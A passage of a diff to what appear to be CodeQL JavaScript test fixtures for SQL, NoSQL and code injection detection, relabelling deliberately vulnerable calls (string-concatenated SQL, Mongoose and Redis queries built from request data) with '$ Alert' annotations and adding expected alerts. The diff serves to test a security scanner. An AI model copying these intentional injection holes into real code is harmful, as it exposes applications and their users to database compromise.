+      // OK - query is tainted, but only by string value
       doc.find(query);
     });
 });
 
 app.post('/documents/find', (req, res) => {
     const query = {};
-    query.title = req.query.title;
+    query.title = req.query.title; // $ Source
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
       let doc = db.collection('doc');
 
-      // NOT OK: query is tainted by user-provided object value
-      doc.find(query);
+      doc.find(query); // $ Alert - query is tainted by user-provided object value
     });
 });
 
 app.post('/documents/find', (req, res) => {
 	const query = {};
-	query.title = req.query.title;
+	query.title = req.query.title; // $ Source
 	MongoClient.connect('mongodb://localhost:27017/test', (err, client) => {
 		let doc = client.db("MASTER").collection('doc');
 
-		// NOT OK: query is tainted by user-provided object value
-		doc.find(query);
+		doc.find(query); // $ Alert - query is tainted by user-provided object value
 	});
 });
 
 app.post("/logs/count-by-tag", (req, res) => {
-  let tag = req.query.tag;
+  let tag = req.query.tag; // $ Source
 
   MongoClient.connect(process.env.DB_URL, {}, (err, client) => {
     client
       .db(process.env.DB_NAME)
       .collection("logs")
-      // NOT OK: query is tainted by user-provided object value
-      .count({ tags: tag });
+      .count({ tags: tag }); // $ Alert - query is tainted by user-provided object value
   });
 
   let importedDbo = require("./dbo.js");
   importedDbo
     .db()
     .collection("logs")
-    // NOT OK: query is tainted by user-provided object value
-    .count({ tags: tag });
+    .count({ tags: tag }); // $ Alert - query is tainted by user-provided object value
 });
 
 
@@ -94,7 +88,7 @@ function useParams(params) {
   MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
     let doc = db.collection('doc');
 
-    // OK: query is tainted, but only by string value
+    // OK - query is tainted, but only by string value
     doc.find(query);
   });
 }
@@ -104,11 +98,10 @@ app.post('/documents/find', (req, res) => {
 });
 function useQuery(queries) {
   const query = {};
-  query.title = queries.title;
+  query.title = queries.title; // $ Source
   MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
     let doc = db.collection('doc');
 
-    // NOT OK: query is tainted by user-provided object value
-    doc.find(query);
+    doc.find(query); // $ Alert - query is tainted by user-provided object value
   });
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb_bodySafe.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb_bodySafe.js
index 61a87bfaa5ad..26d30260aae0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb_bodySafe.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongodb_bodySafe.js
@@ -14,18 +14,17 @@ app.post('/documents/find', (req, res) => {
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
       let doc = db.collection('doc');
 
-      // OK: req.body is safe
+      // OK - req.body is safe
       doc.find(query);
     });
 });
 
 app.post('/documents/find', (req, res) => {
     const query = {};
-    query.title = req.query.title;
+    query.title = req.query.title; // $ Source
     MongoClient.connect('mongodb://localhost:27017/test', (err, db) => {
       let doc = db.collection('doc');
 
-      // NOT OK: regardless of body parser, query value is still tainted
-      doc.find(query);
+      doc.find(query); // $ Alert - regardless of body parser, query value is still tainted
     });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongoose.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongoose.js
index 3092a60b2cd2..3ee23ad0e931 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongoose.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongoose.js
@@ -18,85 +18,71 @@ const Document = Mongoose.model('Document', {
 
 app.post('/documents/find', (req, res) => {
 	const query = {};
-	query.title = req.body.title;
+	query.title = req.body.title; // $ Source
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.aggregate([query]);
+	Document.aggregate([query]); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.count(query);
+	Document.count(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.deleteMany(query);
+	Document.deleteMany(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.deleteOne(query);
+	Document.deleteOne(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.distinct('type', query);
+	Document.distinct('type', query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.find(query);
+	Document.find(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.findOne(query);
+	Document.findOne(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.findOneAndDelete(query);
+	Document.findOneAndDelete(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.findOneAndRemove(query);
+	Document.findOneAndRemove(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.findOneAndUpdate(query);
+	Document.findOneAndUpdate(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.replaceOne(query);
+	Document.replaceOne(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.update(query);
+	Document.update(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.updateMany(query);
+	Document.updateMany(query); // $ Alert - query is tainted by user-provided object value
 
-	// NOT OK: query is tainted by user-provided object value
-	Document.updateOne(query).then(X);
+	Document.updateOne(query).then(X); // $ Alert - query is tainted by user-provided object value
 
-	Document.findByIdAndUpdate(X, query, function(){}); // NOT OK
+	Document.findByIdAndUpdate(X, query, function(){}); // $ Alert
 
-	new Mongoose.Query(X, Y, query)	// NOT OK
-		.and(query, function(){}) // NOT OK
+	new Mongoose.Query(X, Y, query)	// $ Alert
+		.and(query, function(){}) // $ Alert
 	;
 
-	Document.where(query)	// NOT OK - `.where()` on a Model. 
-		.where(query)	// NOT OK - `.where()` on a Query. 
-		.and(query) // NOT OK
-		.or(query) // NOT OK
-		.distinct(X, query) // NOT OK
-		.comment(query) // OK
-		.count(query) // NOT OK
+	Document.where(query)	// $ Alert - `.where()` on a Model.
+		.where(query)	// $ Alert - `.where()` on a Query.
+		.and(query) // $ Alert
+		.or(query) // $ Alert
+		.distinct(X, query) // $ Alert
+		.comment(query)
+		.count(query) // $ Alert
 		.exec()
 	;
 
-	Mongoose.createConnection(X).count(query); // OK (invalid program)
-	Mongoose.createConnection(X).model(Y).count(query); // NOT OK
-	Mongoose.createConnection(X).models[Y].count(query); // NOT OK
-
-	Document.findOne(X, (err, res) => res.count(query)); // NOT OK
-	Document.findOne(X, (err, res) => err.count(query)); // OK
-	Document.findOne(X).exec((err, res) => res.count(query)); // NOT OK
-	Document.findOne(X).exec((err, res) => err.count(query)); // OK
-	Document.findOne(X).then((res) => res.count(query)); // NOT OK
-	Document.findOne(X).then(Y, (err) => err.count(query)); // OK
-
-	Document.find(X, (err, res) => res[i].count(query)); // NOT OK
-	Document.find(X, (err, res) => err.count(query)); // OK
-	Document.find(X).exec((err, res) => res[i].count(query)); // NOT OK
-	Document.find(X).exec((err, res) => err.count(query)); // OK
-	Document.find(X).then((res) => res[i].count(query)); // NOT OK
-	Document.find(X).then(Y, (err) => err.count(query)); // OK
-
-	Document.count(X, (err, res) => res.count(query)); // OK (res is a number)
+	Mongoose.createConnection(X).count(query); // OK - invalid program
+	Mongoose.createConnection(X).model(Y).count(query); // $ Alert
+	Mongoose.createConnection(X).models[Y].count(query); // $ Alert
+
+	Document.findOne(X, (err, res) => res.count(query)); // $ Alert
+	Document.findOne(X, (err, res) => err.count(query));
+	Document.findOne(X).exec((err, res) => res.count(query)); // $ Alert
+	Document.findOne(X).exec((err, res) => err.count(query));
+	Document.findOne(X).then((res) => res.count(query)); // $ Alert
+	Document.findOne(X).then(Y, (err) => err.count(query));
+
+	Document.find(X, (err, res) => res[i].count(query)); // $ Alert
+	Document.find(X, (err, res) => err.count(query));
+	Document.find(X).exec((err, res) => res[i].count(query)); // $ Alert
+	Document.find(X).exec((err, res) => err.count(query));
+	Document.find(X).then((res) => res[i].count(query)); // $ Alert
+	Document.find(X).then(Y, (err) => err.count(query));
+
+	Document.count(X, (err, res) => res.count(query)); // OK - res is a number
 	
 	function innocent(X, Y, query) { // To detect if API-graphs were used incorrectly.
 		return new Mongoose.Query("constant", "constant", "constant");
@@ -108,31 +94,31 @@ app.post('/documents/find', (req, res) => {
 	}
 
 	var C = getQueryConstructor();
-	new C(X, Y, query); // NOT OK
-
-	Document.findOneAndUpdate(X, query, function () { }); // NOT OK
-
-	let id = req.query.id, cond = req.query.cond;
-	Document.deleteMany(cond); // NOT OK
-	Document.deleteOne(cond); // NOT OK
-	Document.geoSearch(cond); // NOT OK
-	Document.remove(cond); // NOT OK
-	Document.replaceOne(cond, Y); // NOT OK
-	Document.find(cond); // NOT OK
-	Document.findOne(cond); // NOT OK
-	Document.findById(id); // NOT OK
-	Document.findOneAndDelete(cond); // NOT OK
-	Document.findOneAndRemove(cond); // NOT OK
-	Document.findOneAndUpdate(cond, Y); // NOT OK
-	Document.update(cond, Y); // NOT OK
-	Document.updateMany(cond, Y); // NOT OK
-	Document.updateOne(cond, Y); // NOT OK
-	Document.find({ _id: id }); // NOT OK
-	Document.find({ _id: { $eq: id } }); // OK
+	new C(X, Y, query); // $ Alert
+
+	Document.findOneAndUpdate(X, query, function () { }); // $ Alert
+
+	let id = req.query.id, cond = req.query.cond; // $ Source
+	Document.deleteMany(cond); // $ Alert
+	Document.deleteOne(cond); // $ Alert
+	Document.geoSearch(cond); // $ Alert
+	Document.remove(cond); // $ Alert
+	Document.replaceOne(cond, Y); // $ Alert
+	Document.find(cond); // $ Alert
+	Document.findOne(cond); // $ Alert
+	Document.findById(id); // $ Alert
+	Document.findOneAndDelete(cond); // $ Alert
+	Document.findOneAndRemove(cond); // $ Alert
+	Document.findOneAndUpdate(cond, Y); // $ Alert
+	Document.update(cond, Y); // $ Alert
+	Document.updateMany(cond, Y); // $ Alert
+	Document.updateOne(cond, Y); // $ Alert
+	Document.find({ _id: id }); // $ Alert
+	Document.find({ _id: { $eq: id } });
 
 	if (Mongoose.Types.ObjectId.isValid(query)) {
 		Document.findByIdAndUpdate(query, X, function(){}); // OK - is sanitized
 	} else {
-		Document.findByIdAndUpdate(query, X, function(){}); // NOT OK
+		Document.findByIdAndUpdate(query, X, function(){}); // $ Alert
 	}
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseJsonParse.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseJsonParse.js
index a340bf2d968b..dedd3a7f8d2c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseJsonParse.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseJsonParse.js
@@ -17,9 +17,8 @@ const Document = Mongoose.model('Document', {
 
 app.get('/documents/find', (req, res) => {
     const query = {};
-    query.title = JSON.parse(req.query.data).title;
+    query.title = JSON.parse(req.query.data).title; // $ Source
 
-    // NOT OK: query is tainted by user-provided object value
-    Document.find(query);
+    Document.find(query); // $ Alert - query is tainted by user-provided object value
 });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseModelClient.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseModelClient.js
index f26ab52e7078..832cb465eb1c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseModelClient.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mongooseModelClient.js
@@ -7,8 +7,8 @@ let app = express();
 app.use(bodyParser.json());
 
 app.post('/find', (req, res) => {
-  let v = JSON.parse(req.body.x);
-  MyModel.find({ id: v }); // NOT OK
-  MyModel.find({ id: req.body.id }); // NOT OK
-  MyModel.find({ id: `${req.body.id}` }); // OK
+  let v = JSON.parse(req.body.x); // $ Source
+  MyModel.find({ id: v }); // $ Alert
+  MyModel.find({ id: req.body.id }); // $ Alert
+  MyModel.find({ id: `${req.body.id}` });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mysql.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mysql.js
index de328fb49fae..150cf0d5a86a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/mysql.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/mysql.js
@@ -3,20 +3,20 @@ const mysql = require('mysql');
 const pool = mysql.createPool(getConfig());
 
 app.get("search", function handler(req, res) {
-    let temp = req.params.value;
+    let temp = req.params.value; // $ Source
     pool.getConnection(function(err, connection) {
         connection.query({
-            sql: 'SELECT * FROM `books` WHERE `author` = ?', // OK
+            sql: 'SELECT * FROM `books` WHERE `author` = ?',
             values: [temp]
         }, function(error, results, fields) {});
     });
     pool.getConnection(function(err, connection) {
         connection.query({
-            sql: 'SELECT * FROM `books` WHERE `author` = ' + temp, // NOT OK
+            sql: 'SELECT * FROM `books` WHERE `author` = ' + temp, // $ Alert
         }, function(error, results, fields) {});
     });
     pool.getConnection(function(err, connection) {
-        connection.query('SELECT * FROM `books` WHERE `author` = ' + temp, // NOT OK
+        connection.query('SELECT * FROM `books` WHERE `author` = ' + temp, // $ Alert
             function(error, results, fields) {});
     });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise-types.ts b/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise-types.ts
index eaf46ad8cf85..759bc3e49476 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise-types.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise-types.ts
@@ -4,8 +4,8 @@ export class Foo {
   db: IDatabase;
 
   onRequest(req, res) {
-    let taint = req.params.x;
-    this.db.one(taint); // NOT OK
+    let taint = req.params.x; // $ Source
+    this.db.one(taint); // $ Alert
     res.end();
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise.js
index d3f190dd1980..3d5e3cce7f0c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/pg-promise.js
@@ -4,63 +4,63 @@ require('express')().get('/foo', (req, res) => {
   const db = pgp(process.env['DB_CONNECTION_STRING']);
 
   var query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='"
-             + req.params.category + "' ORDER BY PRICE";
+             + req.params.category + "' ORDER BY PRICE"; // $ Source
 
-  db.any(query); // NOT OK
-  db.many(query); // NOT OK
-  db.manyOrNone(query); // NOT OK
-  db.map(query); // NOT OK
-  db.multi(query); // NOT OK
-  db.multiResult(query); // NOT OK
-  db.none(query); // NOT OK
-  db.one(query); // NOT OK
-  db.oneOrNone(query); // NOT OK
-  db.query(query); // NOT OK
-  db.result(query); // NOT OK
+  db.any(query); // $ Alert
+  db.many(query); // $ Alert
+  db.manyOrNone(query); // $ Alert
+  db.map(query); // $ Alert
+  db.multi(query); // $ Alert
+  db.multiResult(query); // $ Alert
+  db.none(query); // $ Alert
+  db.one(query); // $ Alert
+  db.oneOrNone(query); // $ Alert
+  db.query(query); // $ Alert
+  db.result(query); // $ Alert
 
   db.one({
-    text: query // NOT OK
+    text: query // $ Alert
   });
   db.one({
-    text: 'SELECT * FROM news where id = $1', // OK
-    values: req.params.id, // OK
+    text: 'SELECT * FROM news where id = $1',
+    values: req.params.id,
   });
   db.one({
     text: 'SELECT * FROM news where id = $1:raw',
-    values: req.params.id, // NOT OK - interpreted as raw parameter
+    values: req.params.id, // $ Alert - interpreted as raw parameter
   });
   db.one({
     text: 'SELECT * FROM news where id = $1^',
-    values: req.params.id, // NOT OK
+    values: req.params.id, // $ Alert
   });
   db.one({
     text: 'SELECT * FROM news where id = $1:raw AND name = $2:raw AND foo = $3',
     values: [
-      req.params.id, // NOT OK
-      req.params.name, // NOT OK
+      req.params.id, // $ Alert
+      req.params.name, // $ Alert
       req.params.foo, // OK - not using raw interpolation
     ]
   });
   db.one({
     text: 'SELECT * FROM news where id = ${id}:raw AND name = ${name}',
     values: {
-      id: req.params.id, // NOT OK
+      id: req.params.id, // $ Alert
       name: req.params.name, // OK - not using raw interpolation
     }
   });
   db.one({
     text: "SELECT * FROM news where id = ${id}:value AND name LIKE '%${name}:value%' AND title LIKE \"%${title}:value%\"",
     values: {
-      id: req.params.id, // NOT OK
+      id: req.params.id, // $ Alert
       name: req.params.name, // OK - :value cannot break out of single quotes
-      title: req.params.title, // NOT OK - enclosed by wrong type of quote
+      title: req.params.title, // $ Alert - enclosed by wrong type of quote
     }
   });
   db.task(t => {
-      return t.one(query); // NOT OK
+      return t.one(query); // $ Alert
   });
   db.taskIf(
-    { cnd: t => t.one(query) }, // NOT OK
-    t => t.one(query) // NOT OK
+    { cnd: t => t.one(query) }, // $ Alert
+    t => t.one(query) // $ Alert
   );
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/redis.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/redis.js
index 44a628a3c9e8..dda3cea18fac 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/redis.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/redis.js
@@ -7,47 +7,47 @@ const app = Express();
 app.use(require('body-parser').json());
 
 app.post('/documents/find', (req, res) => {
-    client.set(req.body.key, "value"); // NOT OK
+    client.set(req.body.key, "value"); // $ Alert
 
-    var key = req.body.key;
+    var key = req.body.key; // $ Source
     if (typeof key === "string") {
-        client.set(key, "value"); // OK
+        client.set(key, "value");
         client.set(["key", "value"]);
     }  
 
-    client.set(key, "value"); // NOT OK
-    client.hmset("key", "field", "value", key, "value2"); // NOT OK
+    client.set(key, "value"); // $ Alert
+    client.hmset("key", "field", "value", key, "value2"); // $ Alert
 
     // chain commands
     client
         .multi()
         .set("constant", "value")
-        .set(key, "value") // NOT OK
-        .get(key) // OK
+        .set(key, "value") // $ Alert
+        .get(key)
         .exec(function (err, replies) { });
 
     client.duplicate((err, newClient) => {
-        newClient.set(key, "value"); // NOT OK
+        newClient.set(key, "value"); // $ Alert
     });
-    client.duplicate().set(key, "value"); // NOT OK
+    client.duplicate().set(key, "value"); // $ Alert
 });
 
 
 import { promisify } from 'util';
 app.post('/documents/find', (req, res) => {
-    const key = req.body.key;
-    client.set(key, "value"); // NOT OK
+    const key = req.body.key; // $ Source
+    client.set(key, "value"); // $ Alert
 
     const setAsync = promisify(client.set).bind(client);
 
-    const foo1 = setAsync(key, "value"); // NOT OK
+    const foo1 = setAsync(key, "value"); // $ Alert
 
     client.setAsync = promisify(client.set);
-    const foo2 = client.setAsync(key, "value"); // NOT OK
+    const foo2 = client.setAsync(key, "value"); // $ Alert
 
     client.unrelated = promisify(() => {});
-    const foo3 = client.unrelated(key, "value"); // OK
+    const foo3 = client.unrelated(key, "value");
 
     const unrelated = promisify(client.foobar).bind(client);
-    const foo4 = unrelated(key, "value"); // OK
+    const foo4 = unrelated(key, "value");
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/socketio.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/socketio.js
index 494e2cb61089..5398d2d74e74 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/socketio.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/socketio.js
@@ -7,7 +7,7 @@ var db = new sqlite3.Database(':memory:');
 
 var io = require('socket.io')();
 io.on('connection', (socket) => {
-  socket.on('newuser', (handle) => {
-    db.run(`INSERT INTO users(name) VALUES ${handle}`);
+  socket.on('newuser', (handle) => { // $ Source
+    db.run(`INSERT INTO users(name) VALUES ${handle}`); // $ Alert
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst.js
index 3b4d8ea6943c..0f5b6f992263 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst.js
@@ -7,5 +7,5 @@ var db = new sqlite3.Database(':memory:');
 
 var app = express();
 app.get('/post/:id', function(req, res) {
-  db.get('SELECT * FROM Post WHERE id = "' + req.params.id + '"');
+  db.get('SELECT * FROM Post WHERE id = "' + req.params.id + '"'); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst2.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst2.js
index b28ddabc9ca6..c68c7d295ca7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst2.js
@@ -3,8 +3,7 @@ const sql = require('mssql');
 
 var app = express();
 app.get('/post/:id', async function(req, res) {
-  // OK
+
   sql.query`select * from mytable where id = ${req.params.id}`;
-  // NOT OK
-  new sql.Request().query("select * from mytable where id = '" + req.params.id + "'");
+  new sql.Request().query("select * from mytable where id = '" + req.params.id + "'"); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst3.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst3.js
index 3f9aa21355d1..631dcb2faae3 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst3.js
@@ -5,12 +5,12 @@ const pool = new pg.Pool(config);
 
 function handler(req, res) {
   var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='"
-             + req.params.category + "' ORDER BY PRICE";
-  pool.query(query1, [], function(err, results) { // BAD: the category might have SQL special characters in it
+             + req.params.category + "' ORDER BY PRICE"; // $ Source
+  pool.query(query1, [], function(err, results) { // $ Alert - the category might have SQL special characters in it
     // process results
   });
 
-  // GOOD: use parameters
+  // OK - use parameters
   var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1"
              + " ORDER BY PRICE";
   pool.query(query2, [req.params.category], function(err, results) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst4.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst4.js
index 73cddfb3a6ae..656dd5345a70 100644
--- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst4.js
+++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/tst4.js
@@ -5,5 +5,5 @@ var db = new sqlite3.Database(':memory:');
 
 angular.module('myApp', ['ngRoute'])
 .controller('FindPost', function($routeParams) {
-  db.get('SELECT * FROM Post WHERE id = "' + $routeParams.id + '"');
+  db.get('SELECT * FROM Post WHERE id = "' + $routeParams.id + '"'); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected
index e536c54dbd2f..a81b9dbcce0f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected
@@ -1,15 +1,80 @@
+#select
+| NoSQLCodeInjection.js:18:24:18:37 | req.body.query | NoSQLCodeInjection.js:18:24:18:31 | req.body | NoSQLCodeInjection.js:18:24:18:37 | req.body.query | This code execution depends on a $@. | NoSQLCodeInjection.js:18:24:18:31 | req.body | user-provided value |
+| NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | NoSQLCodeInjection.js:19:36:19:43 | req.body | NoSQLCodeInjection.js:19:24:19:48 | "name = ... dy.name | This code execution depends on a $@. | NoSQLCodeInjection.js:19:36:19:43 | req.body | user-provided value |
+| NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | NoSQLCodeInjection.js:22:36:22:43 | req.body | NoSQLCodeInjection.js:22:24:22:48 | "name = ... dy.name | This code execution depends on a $@. | NoSQLCodeInjection.js:22:36:22:43 | req.body | user-provided value |
+| actions.js:4:10:4:50 | github. ... message | actions.js:4:10:4:50 | github. ... message | actions.js:4:10:4:50 | github. ... message | This code execution depends on a $@. | actions.js:4:10:4:50 | github. ... message | user-provided value |
+| angularjs.js:10:22:10:36 | location.search | angularjs.js:10:22:10:36 | location.search | angularjs.js:10:22:10:36 | location.search | This code execution depends on a $@. | angularjs.js:10:22:10:36 | location.search | user-provided value |
+| angularjs.js:13:23:13:37 | location.search | angularjs.js:13:23:13:37 | location.search | angularjs.js:13:23:13:37 | location.search | This code execution depends on a $@. | angularjs.js:13:23:13:37 | location.search | user-provided value |
+| angularjs.js:16:28:16:42 | location.search | angularjs.js:16:28:16:42 | location.search | angularjs.js:16:28:16:42 | location.search | This code execution depends on a $@. | angularjs.js:16:28:16:42 | location.search | user-provided value |
+| angularjs.js:19:22:19:36 | location.search | angularjs.js:19:22:19:36 | location.search | angularjs.js:19:22:19:36 | location.search | This code execution depends on a $@. | angularjs.js:19:22:19:36 | location.search | user-provided value |
+| angularjs.js:22:27:22:41 | location.search | angularjs.js:22:27:22:41 | location.search | angularjs.js:22:27:22:41 | location.search | This code execution depends on a $@. | angularjs.js:22:27:22:41 | location.search | user-provided value |
+| angularjs.js:25:23:25:37 | location.search | angularjs.js:25:23:25:37 | location.search | angularjs.js:25:23:25:37 | location.search | This code execution depends on a $@. | angularjs.js:25:23:25:37 | location.search | user-provided value |
+| angularjs.js:28:33:28:47 | location.search | angularjs.js:28:33:28:47 | location.search | angularjs.js:28:33:28:47 | location.search | This code execution depends on a $@. | angularjs.js:28:33:28:47 | location.search | user-provided value |
+| angularjs.js:31:28:31:42 | location.search | angularjs.js:31:28:31:42 | location.search | angularjs.js:31:28:31:42 | location.search | This code execution depends on a $@. | angularjs.js:31:28:31:42 | location.search | user-provided value |
+| angularjs.js:34:18:34:32 | location.search | angularjs.js:34:18:34:32 | location.search | angularjs.js:34:18:34:32 | location.search | This code execution depends on a $@. | angularjs.js:34:18:34:32 | location.search | user-provided value |
+| angularjs.js:40:18:40:32 | location.search | angularjs.js:40:18:40:32 | location.search | angularjs.js:40:18:40:32 | location.search | This code execution depends on a $@. | angularjs.js:40:18:40:32 | location.search | user-provided value |
+| angularjs.js:44:17:44:31 | location.search | angularjs.js:44:17:44:31 | location.search | angularjs.js:44:17:44:31 | location.search | This code execution depends on a $@. | angularjs.js:44:17:44:31 | location.search | user-provided value |
+| angularjs.js:47:16:47:30 | location.search | angularjs.js:47:16:47:30 | location.search | angularjs.js:47:16:47:30 | location.search | This code execution depends on a $@. | angularjs.js:47:16:47:30 | location.search | user-provided value |
+| angularjs.js:50:22:50:36 | location.search | angularjs.js:50:22:50:36 | location.search | angularjs.js:50:22:50:36 | location.search | This code execution depends on a $@. | angularjs.js:50:22:50:36 | location.search | user-provided value |
+| angularjs.js:53:32:53:46 | location.search | angularjs.js:53:32:53:46 | location.search | angularjs.js:53:32:53:46 | location.search | This code execution depends on a $@. | angularjs.js:53:32:53:46 | location.search | user-provided value |
+| express.js:6:24:6:69 | "return ...  + "];" | express.js:6:44:6:62 | req.param("wobble") | express.js:6:24:6:69 | "return ...  + "];" | This code execution depends on a $@. | express.js:6:44:6:62 | req.param("wobble") | user-provided value |
+| express.js:7:34:7:79 | "return ...  + "];" | express.js:7:54:7:72 | req.param("wobble") | express.js:7:34:7:79 | "return ...  + "];" | This code execution depends on a $@. | express.js:7:54:7:72 | req.param("wobble") | user-provided value |
+| express.js:9:8:9:53 | "return ...  + "];" | express.js:9:28:9:46 | req.param("wobble") | express.js:9:8:9:53 | "return ...  + "];" | This code execution depends on a $@. | express.js:9:28:9:46 | req.param("wobble") | user-provided value |
+| express.js:11:22:11:54 | req.par ... ction") | express.js:11:22:11:54 | req.par ... ction") | express.js:11:22:11:54 | req.par ... ction") | This code execution depends on a $@. | express.js:11:22:11:54 | req.par ... ction") | user-provided value |
+| express.js:12:30:12:53 | req.par ... cript") | express.js:12:30:12:53 | req.par ... cript") | express.js:12:30:12:53 | req.par ... cript") | This code execution depends on a $@. | express.js:12:30:12:53 | req.par ... cript") | user-provided value |
+| express.js:13:37:13:70 | req.par ... odule") | express.js:13:37:13:70 | req.par ... odule") | express.js:13:37:13:70 | req.par ... odule") | This code execution depends on a $@. | express.js:13:37:13:70 | req.par ... odule") | user-provided value |
+| express.js:14:19:14:48 | req.par ... ntext") | express.js:14:19:14:48 | req.par ... ntext") | express.js:14:19:14:48 | req.par ... ntext") | This code execution depends on a $@. | express.js:14:19:14:48 | req.par ... ntext") | user-provided value |
+| express.js:20:34:20:38 | taint | express.js:19:17:19:35 | req.param("wobble") | express.js:20:34:20:38 | taint | This code execution depends on a $@. | express.js:19:17:19:35 | req.param("wobble") | user-provided value |
+| express.js:36:15:36:19 | taint | express.js:27:17:27:35 | req.param("wobble") | express.js:36:15:36:19 | taint | This code execution depends on a $@. | express.js:27:17:27:35 | req.param("wobble") | user-provided value |
+| express.js:43:10:43:12 | msg | express.js:42:30:42:32 | msg | express.js:43:10:43:12 | msg | This code execution depends on a $@. | express.js:42:30:42:32 | msg | user-provided value |
+| module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | This code execution depends on a $@. | module.js:9:16:9:29 | req.query.code | user-provided value |
+| module.js:11:17:11:30 | req.query.code | module.js:11:17:11:30 | req.query.code | module.js:11:17:11:30 | req.query.code | This code execution depends on a $@. | module.js:11:17:11:30 | req.query.code | user-provided value |
